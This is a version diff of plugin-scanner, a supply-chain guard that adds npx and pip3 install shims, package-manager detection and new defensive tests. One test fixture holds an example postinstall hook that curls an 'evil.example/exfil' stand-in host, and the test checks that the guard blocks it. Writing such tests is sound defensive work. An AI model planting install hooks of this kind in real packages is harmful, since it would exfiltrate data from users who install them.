plugin-scanner 2.0.545__tar.gz → 2.0.547__tar.gz

{plugin_scanner-2.0.545 → plugin_scanner-2.0.547}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: plugin-scanner
-Version: 2.0.545
+Version: 2.0.547
 Summary: Lint, verify, and gate plugin ecosystems for maintainers, CI, and publish workflows.
 Project-URL: Homepage, https://github.com/hashgraph-online/hol-guard
 Project-URL: Repository, https://github.com/hashgraph-online/hol-guard

{plugin_scanner-2.0.545 → plugin_scanner-2.0.547}/pyproject.toml

@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
 
 [project]
 name = "plugin-scanner"
-version = "2.0.545"
+version = "2.0.547"
 description = "Lint, verify, and gate plugin ecosystems for maintainers, CI, and publish workflows."
 readme = "README.md"
 license = "Apache-2.0"

{plugin_scanner-2.0.545 → plugin_scanner-2.0.547}/pyproject.toml.bak

@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
 
 [project]
 name = "hol-guard"
-version = "2.0.545"
+version = "2.0.547"
 description = "Protect local AI harnesses with HOL Guard and run scanner checks for Codex, Claude, Cursor, Gemini, and OpenCode."
 readme = "README.md"
 license = "Apache-2.0"

{plugin_scanner-2.0.545 → plugin_scanner-2.0.547}/src/codex_plugin_scanner/guard/daemon/server.py

@@ -179,8 +179,10 @@ def _build_snapshot_payload(context: HarnessContext) -> dict[str, object]:
     status = package_shim_status(context)
     return {
         "package_manager_coverage": {
-            "shims_installed": status.get("active_managers", []),
+            "detected_managers": status.get("detected_managers", []),
             "path_active": status.get("active_managers", []),
+            "shims_installed": status.get("active_managers", []),
+            "undetected_managers": status.get("undetected_managers", []),
             "unsupported_managers": [],
         }
     }

{plugin_scanner-2.0.545 → plugin_scanner-2.0.547}/src/codex_plugin_scanner/guard/protect.py

@@ -510,7 +510,13 @@ def _package_manager_request(command: list[str], ecosystem: str, specs: tuple[st
 
 def _package_target(ecosystem: str, spec: str) -> ProtectTarget:
     package_name, version = _parse_package_identity(ecosystem, spec)
+    if package_name is not None:
+        package_name = package_name.strip()
+    if version is not None:
+        version = version.strip()
     source_url = _spec_url(spec)
+    if source_url is None and version is not None:
+        source_url = _spec_url(version)
     identity = package_name or spec
     return ProtectTarget(
         artifact_id=f"install:{ecosystem}:{identity}",

{plugin_scanner-2.0.545 → plugin_scanner-2.0.547}/src/codex_plugin_scanner/guard/shim_probe.py

@@ -7,6 +7,7 @@ from typing import Any
 
 _PACKAGE_SHIM_PROBE_ARGS: dict[str, tuple[str, ...]] = {
     "npm": ("install", "--dry-run", "lodash@4.17.21"),
+    "npx": ("-y", "lodash@4.17.21"),
     "pnpm": ("add", "--dry-run", "lodash@4.17.21"),
     "yarn": ("add", "--dry-run", "lodash@4.17.21"),
     "bun": ("add", "--dry-run", "lodash@4.17.21"),

{plugin_scanner-2.0.545 → plugin_scanner-2.0.547}/src/codex_plugin_scanner/guard/shims.py

@@ -5,6 +5,7 @@ from __future__ import annotations
 import hashlib
 import json
 import os
+import shutil
 import subprocess
 import sys
 from datetime import datetime, timezone
@@ -30,7 +31,9 @@ _PACKAGE_SHIM_COMMANDS = {
     "gradle": "gradle",
     "mvn": "mvn",
     "npm": "npm",
+    "npx": "npx",
     "pip": "pip",
+    "pip3": "pip3",
     "pipenv": "pipenv",
     "pipx": "pipx",
     "pnpm": "pnpm",
@@ -309,6 +312,8 @@ def install_package_shims(
     )
     tracked_managers = tuple(dict.fromkeys([*existing_managers, *normalized_managers]))
     existing_hashes: dict[str, str] = existing_manifest.get("content_hashes", {})
+    existing_last_tests = existing_manifest.get("last_test_at", {})
+    last_test_at = dict(existing_last_tests) if isinstance(existing_last_tests, dict) else {}
     installed: list[str] = []
     content_hashes: dict[str, str] = dict(existing_hashes)
     for manager in normalized_managers:
@@ -324,9 +329,10 @@ def install_package_shims(
     manifest_payload = {
         "content_hashes": content_hashes,
         "installed_managers": list(tracked_managers),
+        "last_test_at": last_test_at,
         "shim_dir": str(shim_dir),
     }
-    _package_shim_manifest_path(context).write_text(json.dumps(manifest_payload, sort_keys=True), encoding="utf-8")
+    _write_package_shim_manifest(context, manifest_payload)
     program_name = _command_program_name()
     shell_hints = _path_export_hints(shim_dir)
     path_repair_required = [
@@ -379,6 +385,10 @@ def package_shim_status(context: HarnessContext) -> dict[str, object]:
         for manager in manifest.get("installed_managers", [])
         if isinstance(manager, str) and manager in _PACKAGE_SHIM_COMMANDS
     ]
+    last_test_at = manifest.get("last_test_at", {})
+    normalized_last_tests = last_test_at if isinstance(last_test_at, dict) else {}
+    detected_managers, undetected_managers = _detect_system_package_managers(context)
+    detected_set = set(detected_managers)
     shim_dir = context.guard_home / "package-shims" / "bin"
     stored_hashes: dict[str, str] = manifest.get("content_hashes", {})
     active_managers: list[str] = []
@@ -409,6 +419,7 @@ def package_shim_status(context: HarnessContext) -> dict[str, object]:
         manager_details.append(
             {
                 "integrity": integrity,
+                "last_test_at": normalized_last_tests.get(manager),
                 "manager": manager,
                 "path_active": bool(path_status.get("shim_precedes_real")),
                 "path_index": path_status.get("shim_path_index"),
@@ -417,6 +428,7 @@ def package_shim_status(context: HarnessContext) -> dict[str, object]:
                 "real_binary_path": path_status.get("real_binary_path"),
                 "real_binary_path_index": path_status.get("real_binary_path_index"),
                 "shim_path": str(shim_path),
+                "system_binary_detected": manager in detected_set,
             }
         )
         if exists and bool(path_status.get("shim_precedes_real")):
@@ -436,7 +448,9 @@ def package_shim_status(context: HarnessContext) -> dict[str, object]:
     )
     return {
         "active_managers": active_managers,
+        "detected_managers": detected_managers,
         "installed_managers": installed_managers,
+        "last_test_at": normalized_last_tests,
         "protected_managers": protected_managers,
         "path_active": bool(installed_managers) and len(protected_managers) == len(installed_managers),
         "path_contains_shim_dir": path_contains_shim_dir,
@@ -450,6 +464,8 @@ def package_shim_status(context: HarnessContext) -> dict[str, object]:
         "shell_profile_path": profile_status["shell_profile_path"],
         "shell_hints": _path_export_hints(shim_dir),
         "shim_dir": str(shim_dir),
+        "supported_managers": list(package_shim_supported_managers()),
+        "undetected_managers": undetected_managers,
     }
 
 
@@ -499,16 +515,20 @@ def uninstall_package_shims(
             for manager, hash_value in (manifest_hashes.items() if isinstance(manifest_hashes, dict) else ())
             if manager in remaining and isinstance(hash_value, str)
         }
-        manifest_path.write_text(
-            json.dumps(
-                {
-                    "content_hashes": content_hashes,
-                    "installed_managers": remaining,
-                    "shim_dir": str(shim_dir),
-                },
-                sort_keys=True,
-            ),
-            encoding="utf-8",
+        manifest_last_tests = manifest.get("last_test_at", {})
+        last_test_at = {
+            manager: timestamp
+            for manager, timestamp in (manifest_last_tests.items() if isinstance(manifest_last_tests, dict) else ())
+            if manager in remaining and isinstance(timestamp, str)
+        }
+        _write_package_shim_manifest(
+            context,
+            {
+                "content_hashes": content_hashes,
+                "installed_managers": remaining,
+                "last_test_at": last_test_at,
+                "shim_dir": str(shim_dir),
+            },
         )
     elif manifest_path.exists():
         manifest_path.unlink()
@@ -746,6 +766,32 @@ def _package_shim_manifest_path(context: HarnessContext) -> Path:
     return context.guard_home / "package-shims" / _PACKAGE_SHIM_MANIFEST
 
 
+def _filtered_manager_path(context: HarnessContext) -> str:
+    shim_dir = context.guard_home / "package-shims" / "bin"
+    shim_dir_abs = os.path.abspath(os.path.expanduser(str(shim_dir)))
+    path_entries = [entry for entry in os.environ.get("PATH", "").split(os.pathsep) if entry]
+    filtered_entries = [entry for entry in path_entries if os.path.abspath(os.path.expanduser(entry)) != shim_dir_abs]
+    return os.pathsep.join(filtered_entries)
+
+
+def _detect_system_package_managers(context: HarnessContext) -> tuple[list[str], list[str]]:
+    """Return supported managers with and without a real binary on PATH."""
+
+    filtered_path = _filtered_manager_path(context)
+    if filtered_path == "":
+        return [], list(package_shim_supported_managers())
+    detected: list[str] = []
+    undetected: list[str] = []
+    for manager in package_shim_supported_managers():
+        command = _PACKAGE_SHIM_COMMANDS[manager]
+        resolved = shutil.which(command, path=filtered_path)
+        if resolved is not None:
+            detected.append(manager)
+        else:
+            undetected.append(manager)
+    return detected, undetected
+
+
 def _load_package_shim_manifest(context: HarnessContext) -> dict[str, object]:
     manifest_path = _package_shim_manifest_path(context)
     if not manifest_path.exists():
@@ -757,6 +803,28 @@ def _load_package_shim_manifest(context: HarnessContext) -> dict[str, object]:
     return payload if isinstance(payload, dict) else {}
 
 
+def _write_package_shim_manifest(context: HarnessContext, payload: dict[str, object]) -> None:
+    _package_shim_manifest_path(context).write_text(json.dumps(payload, sort_keys=True), encoding="utf-8")
+
+
+def _record_package_shim_test_results(
+    context: HarnessContext,
+    manager_results: list[dict[str, object]],
+    *,
+    tested_at: str | None = None,
+) -> None:
+    manifest = _load_package_shim_manifest(context)
+    last_test_at = manifest.get("last_test_at")
+    normalized_last_tests = dict(last_test_at) if isinstance(last_test_at, dict) else {}
+    timestamp = tested_at or datetime.now(timezone.utc).isoformat()
+    for result in manager_results:
+        manager = result.get("manager")
+        if isinstance(manager, str):
+            normalized_last_tests[manager] = timestamp
+    manifest["last_test_at"] = normalized_last_tests
+    _write_package_shim_manifest(context, manifest)
+
+
 def _command_program_name() -> str:
     if not sys.argv:
         return "hol-guard"
@@ -883,6 +951,8 @@ def probe_package_shim_intercepts(
             },
         )
     intercept_proved = any(bool(result.get("evaluator_invoked")) for result in manager_results)
+    if manager_results:
+        _record_package_shim_test_results(context, manager_results)
     return {
         "blocked_execution": bool(tested_managers) and all(manager in protected for manager in tested_managers),
         "intercept_proved": intercept_proved,

{plugin_scanner-2.0.545 → plugin_scanner-2.0.547}/src/codex_plugin_scanner/version.py

@@ -1,3 +1,3 @@
 """Single source of truth for tool version."""
 
-__version__ = "2.0.545"
+__version__ = "2.0.547"

plugin_scanner-2.0.547/tests/test_guard_phase04_install_reason_proofs.py

@@ -0,0 +1,171 @@
+"""Phase 04 install-time evaluator reason proofs (SCSR066-SCSR070)."""
+
+from __future__ import annotations
+
+import json
+from pathlib import Path
+
+import pytest
+
+from codex_plugin_scanner.guard.runtime.supply_chain_bundle import (
+    evaluate_cached_supply_chain_bundle,
+    load_supply_chain_bundle_response,
+)
+from codex_plugin_scanner.guard.runtime.supply_chain_package_eval import evaluate_package_request_artifact
+from codex_plugin_scanner.guard.store import GuardStore
+from tests.guard_python_phase12_support import (
+    WORKSPACE_ID as PYTHON_WORKSPACE_ID,
+    artifact_from_command_fixture,
+    bundle_response_fixture,
+    package_fixture,
+)
+from tests.test_guard_js_supply_chain_phase11 import WORKSPACE_ID, _artifact_from_command, _bundle_response, _write_text
+from tests.test_guard_supply_chain_bundle import _bundle_dict, _generate_key_pair, _sign_bundle_response
+
+
+def test_install_lifecycle_script_risk_blocks_local_package(tmp_path: Path) -> None:
+    home_dir = tmp_path / "home"
+    workspace_dir = tmp_path / "workspace"
+    workspace_dir.mkdir()
+    _write_text(workspace_dir / "package.json", '{"name":"demo"}\n')
+    _write_text(
+        workspace_dir / "fixtures" / "evil-package" / "package.json",
+        '{"name":"evil-package","scripts":{"postinstall":"curl http://evil.example/exfil"}}\n',
+    )
+    store = GuardStore(home_dir)
+
+    artifact = _artifact_from_command("npm install ./fixtures/evil-package", workspace=workspace_dir)
+    result = evaluate_package_request_artifact(artifact=artifact, store=store, workspace_dir=workspace_dir)
+
+    assert result.decision == "block"
+    assert result.packages[0]["reasons"][0]["code"] == "install_script_risk"
+
+
+def test_dependency_confusion_policy_blocks_reserved_internal_name(
+    tmp_path: Path,
+    monkeypatch: pytest.MonkeyPatch,
+) -> None:
+    home_dir = tmp_path / "home"
+    workspace_dir = tmp_path / "workspace"
+    workspace_dir.mkdir()
+    _write_text(workspace_dir / "package.json", '{"name":"demo"}\n')
+    store = GuardStore(home_dir)
+    monkeypatch.setattr(store, "get_cloud_workspace_id", lambda: WORKSPACE_ID)
+    store.cache_supply_chain_bundle(
+        WORKSPACE_ID,
+        _bundle_response(
+            packages=[],
+            policy_rules=[
+                {
+                    "action": "block",
+                    "ruleId": "reserve-internal-tool",
+                    "ecosystemSelector": "npm",
+                    "enabled": True,
+                    "expiresAt": None,
+                    "harnessSelector": None,
+                    "packageSelector": "@hashgraph/internal-tool",
+                    "priority": 1,
+                    "severityThreshold": None,
+                    "versionRangeSelector": None,
+                }
+            ],
+        ),
+        "2026-05-19T00:00:00Z",
+    )
+
+    artifact = _artifact_from_command("npm install internal-tool@1.0.0", workspace=workspace_dir)
+    result = evaluate_package_request_artifact(artifact=artifact, store=store, workspace_dir=workspace_dir)
+
+    assert result.decision == "block"
+    assert result.packages[0]["reasons"][0]["code"] == "dependency_confusion_risk"
+
+
+def test_maintainer_compromise_reason_blocks_high_risk_package(
+    tmp_path: Path,
+    monkeypatch: pytest.MonkeyPatch,
+) -> None:
+    home_dir = tmp_path / "home"
+    workspace_dir = tmp_path / "workspace"
+    workspace_dir.mkdir()
+    store = GuardStore(home_dir)
+    monkeypatch.setattr(store, "get_cloud_workspace_id", lambda: WORKSPACE_ID)
+    store.cache_supply_chain_bundle(
+        WORKSPACE_ID,
+        _bundle_response(
+            packages=[
+                {
+                    "confidence": 990,
+                    "defaultAction": "block",
+                    "ecosystem": "npm",
+                    "exploitLevel": "elevated",
+                    "knownExploited": False,
+                    "malwareState": "suspected",
+                    "name": "trusted-build-tools",
+                    "normalizedSeverity": "high",
+                    "packageAgeState": "watch",
+                    "purl": "pkg:npm/trusted-build-tools@5.4.0",
+                    "reachability": "reachable",
+                    "recommendedFixVersion": None,
+                    "relatedAdvisoryIds": ["GHSA-maintainer-risk"],
+                    "riskScore": 930,
+                    "sourceIntegrityState": "high-risk",
+                    "version": "5.4.0",
+                }
+            ]
+        ),
+        "2026-05-19T00:00:00Z",
+    )
+
+    artifact = _artifact_from_command("npm install trusted-build-tools@5.4.0", workspace=workspace_dir)
+    result = evaluate_package_request_artifact(artifact=artifact, store=store, workspace_dir=workspace_dir)
+
+    assert result.decision == "block"
+    assert any(reason["code"] == "maintainer_compromise" for reason in result.reasons)
+
+
+def test_yanked_release_blocks_requested_python_version_with_safer_fix_copy(
+    tmp_path: Path,
+    monkeypatch: pytest.MonkeyPatch,
+) -> None:
+    home_dir = tmp_path / "home"
+    workspace_dir = tmp_path / "workspace"
+    workspace_dir.mkdir()
+    store = GuardStore(home_dir)
+    monkeypatch.setattr(store, "get_cloud_workspace_id", lambda: PYTHON_WORKSPACE_ID)
+    store.cache_supply_chain_bundle(
+        PYTHON_WORKSPACE_ID,
+        bundle_response_fixture(
+            packages=[
+                package_fixture(
+                    name="urllib3",
+                    version="2.0.0",
+                    default_action="block",
+                    recommended_fix_version="2.0.7",
+                )
+            ]
+        ),
+        "2026-05-19T00:00:00Z",
+    )
+
+    artifact = artifact_from_command_fixture("pip install urllib3==2.0.0", workspace=workspace_dir)
+    result = evaluate_package_request_artifact(artifact=artifact, store=store, workspace_dir=workspace_dir)
+
+    assert result.decision == "block"
+    assert result.user_copy.next_step == "pip install urllib3==2.0.7"
+    assert "pip install urllib3==2.0.7" in result.user_copy.harness_message
+
+
+def test_kev_escalation_blocks_known_exploited_bundle_package() -> None:
+    private_key, _public_key = _generate_key_pair()
+    blocking_response = load_supply_chain_bundle_response(
+        json.dumps(_sign_bundle_response(_bundle_dict(), private_key_pem=private_key))
+    )
+    blocking_decision = evaluate_cached_supply_chain_bundle(
+        blocking_response,
+        package_name="minimist",
+        package_version="1.2.8",
+        now=blocking_response.bundle.generated_at_timestamp + 60,
+    )
+
+    assert blocking_decision.action == "block"
+    assert blocking_decision.reason == "known_malware_or_kev"

plugin_scanner-2.0.547/tests/test_guard_phase05_manager_coverage.py

@@ -0,0 +1,129 @@
+"""Phase 05 package-manager shim lifecycle and detection proofs."""
+
+from __future__ import annotations
+
+import json
+import os
+from pathlib import Path
+from unittest.mock import MagicMock
+
+import pytest
+
+from codex_plugin_scanner.guard.daemon.server import _build_snapshot_payload
+from codex_plugin_scanner.guard.shims import (
+    install_package_shims,
+    package_shim_status,
+    package_shim_supported_managers,
+    probe_package_shim_intercepts,
+    uninstall_package_shims,
+)
+from tests.shim_execution_helpers import write_fake_manager_script
+
+PHASE05_MANAGERS = package_shim_supported_managers()
+
+
+def _harness_context(tmp_path: Path) -> MagicMock:
+    home_dir = tmp_path / "home"
+    home_dir.mkdir(parents=True, exist_ok=True)
+    guard_home = tmp_path / "guard-home"
+    guard_home.mkdir(parents=True, exist_ok=True)
+    workspace_dir = tmp_path / "workspace"
+    workspace_dir.mkdir(parents=True, exist_ok=True)
+    context = MagicMock()
+    context.home_dir = home_dir
+    context.workspace_dir = workspace_dir
+    context.guard_home = guard_home
+    return context
+
+
+@pytest.mark.parametrize("manager", PHASE05_MANAGERS)
+def test_package_shim_lifecycle_install_status_remove(manager: str, tmp_path: Path) -> None:
+    context = _harness_context(tmp_path)
+    install_payload = install_package_shims(context, managers=(manager,))
+    assert manager in install_payload["installed_managers"]
+
+    status = package_shim_status(context)
+    assert manager in status["installed_managers"]
+    assert manager in status["active_managers"]
+    detail = next(item for item in status["manager_details"] if item["manager"] == manager)
+    assert detail["integrity"] == "ok"
+    assert detail["shim_path"]
+
+    remove_payload = uninstall_package_shims(context, managers=(manager,))
+    assert manager in remove_payload["removed_managers"]
+    assert manager not in package_shim_status(context)["installed_managers"]
+
+
+@pytest.mark.parametrize("manager", ["npm", "pip", "npx", "pnpm", "uv"])
+def test_package_shim_probe_records_last_test_timestamp(
+    manager: str,
+    tmp_path: Path,
+    monkeypatch: pytest.MonkeyPatch,
+) -> None:
+    context = _harness_context(tmp_path)
+    install_package_shims(context, managers=(manager,))
+    shim_dir = context.guard_home / "package-shims" / "bin"
+    command = manager
+    fake_bin = tmp_path / "fake-bin"
+    fake_bin.mkdir(parents=True)
+    write_fake_manager_script(
+        fake_bin=fake_bin,
+        manager=command,
+        marker_path=tmp_path / f"{manager}-probe-marker.json",
+        exit_code=0,
+    )
+    monkeypatch.setenv("PATH", os.pathsep.join([str(shim_dir), str(fake_bin)]))
+
+    result = probe_package_shim_intercepts(context, managers=(manager,), workspace_dir=context.workspace_dir)
+    status = package_shim_status(context)
+    detail = next(item for item in status["manager_details"] if item["manager"] == manager)
+
+    assert result["intercept_proved"] is True
+    assert isinstance(detail["last_test_at"], str)
+    assert detail["last_test_at"] == status["last_test_at"][manager]
+
+
+def test_package_shim_status_marks_undetected_managers_honestly(
+    tmp_path: Path,
+    monkeypatch: pytest.MonkeyPatch,
+) -> None:
+    context = _harness_context(tmp_path)
+    install_package_shims(context, managers=("npm", "pip"))
+
+    def fake_which(command: str, path: str | None = None) -> str | None:
+        if command in {"npm", "pip"}:
+            return f"/usr/local/bin/{command}"
+        return None
+
+    monkeypatch.setattr("codex_plugin_scanner.guard.shims.shutil.which", fake_which)
+
+    status = package_shim_status(context)
+
+    assert status["detected_managers"] == ["npm", "pip"]
+    assert "cargo" in status["undetected_managers"]
+    npm_detail = next(item for item in status["manager_details"] if item["manager"] == "npm")
+    pip_detail = next(item for item in status["manager_details"] if item["manager"] == "pip")
+    assert npm_detail["system_binary_detected"] is True
+    assert pip_detail["system_binary_detected"] is True
+
+
+def test_daemon_snapshot_includes_detected_manager_subset(tmp_path: Path) -> None:
+    context = _harness_context(tmp_path)
+    install_package_shims(context, managers=("npm",))
+    snapshot = _build_snapshot_payload(context)
+
+    coverage = snapshot["package_manager_coverage"]
+    assert "detected_managers" in coverage
+    assert "undetected_managers" in coverage
+    assert isinstance(coverage["detected_managers"], list)
+    assert isinstance(coverage["undetected_managers"], list)
+
+
+def test_npx_shim_installs_alongside_npm(tmp_path: Path) -> None:
+    context = _harness_context(tmp_path)
+    install_package_shims(context, managers=("npm", "npx"))
+    shim_dir = context.guard_home / "package-shims" / "bin"
+    assert (shim_dir / "npm").exists()
+    assert (shim_dir / "npx").exists()
+    manifest = json.loads((context.guard_home / "package-shims" / "manifest.json").read_text(encoding="utf-8"))
+    assert "npx" in manifest["installed_managers"]

plugin_scanner-2.0.547/tests/test_guard_protect_package_spec_parsing.py

@@ -0,0 +1,83 @@
+"""Phase 04 package spec parsing proofs for install-time protect."""
+
+from __future__ import annotations
+
+from codex_plugin_scanner.guard import protect
+
+
+def test_parse_protect_command_records_npm_tarball_spec() -> None:
+    request = protect.parse_protect_command(
+        ["npm", "install", "guard-tarball@https://example.com/guard.tgz"],
+    )
+
+    target = request.targets[0]
+    assert target.raw_spec == "guard-tarball@https://example.com/guard.tgz"
+    assert target.source_url == "https://example.com/guard.tgz"
+    assert target.package_name == "guard-tarball"
+    assert target.version == "https://example.com/guard.tgz"
+
+
+def test_parse_protect_command_records_npm_git_url_spec() -> None:
+    request = protect.parse_protect_command(
+        ["npm", "install", "guard-github@git+https://github.com/hashgraph-online/hol-guard.git"],
+    )
+
+    target = request.targets[0]
+    assert target.raw_spec == "guard-github@git+https://github.com/hashgraph-online/hol-guard.git"
+    assert target.source_url == "git+https://github.com/hashgraph-online/hol-guard.git"
+    assert target.package_name == "guard-github"
+    assert target.version == "git+https://github.com/hashgraph-online/hol-guard.git"
+
+
+def test_parse_protect_command_records_npm_local_path_spec() -> None:
+    request = protect.parse_protect_command(["npm", "install", "./fixtures/local-package"])
+
+    target = request.targets[0]
+    assert target.raw_spec == "./fixtures/local-package"
+    assert target.source_url is None
+    assert target.package_name == "local-package"
+
+
+def test_parse_protect_command_records_npm_registry_override_before_package() -> None:
+    request = protect.parse_protect_command(
+        [
+            "npm",
+            "install",
+            "--registry",
+            "https://registry.example.com",
+            "@scope/guard-safe@1.2.3",
+        ],
+    )
+
+    target = request.targets[0]
+    assert target.raw_spec == "@scope/guard-safe@1.2.3"
+    assert target.package_name == "@scope/guard-safe"
+    assert target.version == "1.2.3"
+
+
+def test_parse_protect_command_records_pip_pep508_direct_url_spec() -> None:
+    request = protect.parse_protect_command(
+        ["pip", "install", "requests @ https://files.example.com/requests-2.32.3.tar.gz"],
+    )
+
+    target = request.targets[0]
+    assert target.package_name == "requests"
+    assert target.version == "https://files.example.com/requests-2.32.3.tar.gz"
+    assert target.source_url == "https://files.example.com/requests-2.32.3.tar.gz"
+
+
+def test_parse_protect_command_records_pip_registry_override_before_package() -> None:
+    request = protect.parse_protect_command(
+        [
+            "pip",
+            "install",
+            "--index-url",
+            "https://pypi.example/simple",
+            "requests==2.32.3",
+        ],
+    )
+
+    target = request.targets[0]
+    assert target.raw_spec == "requests==2.32.3"
+    assert target.package_name == "requests"
+    assert target.version == "2.32.3"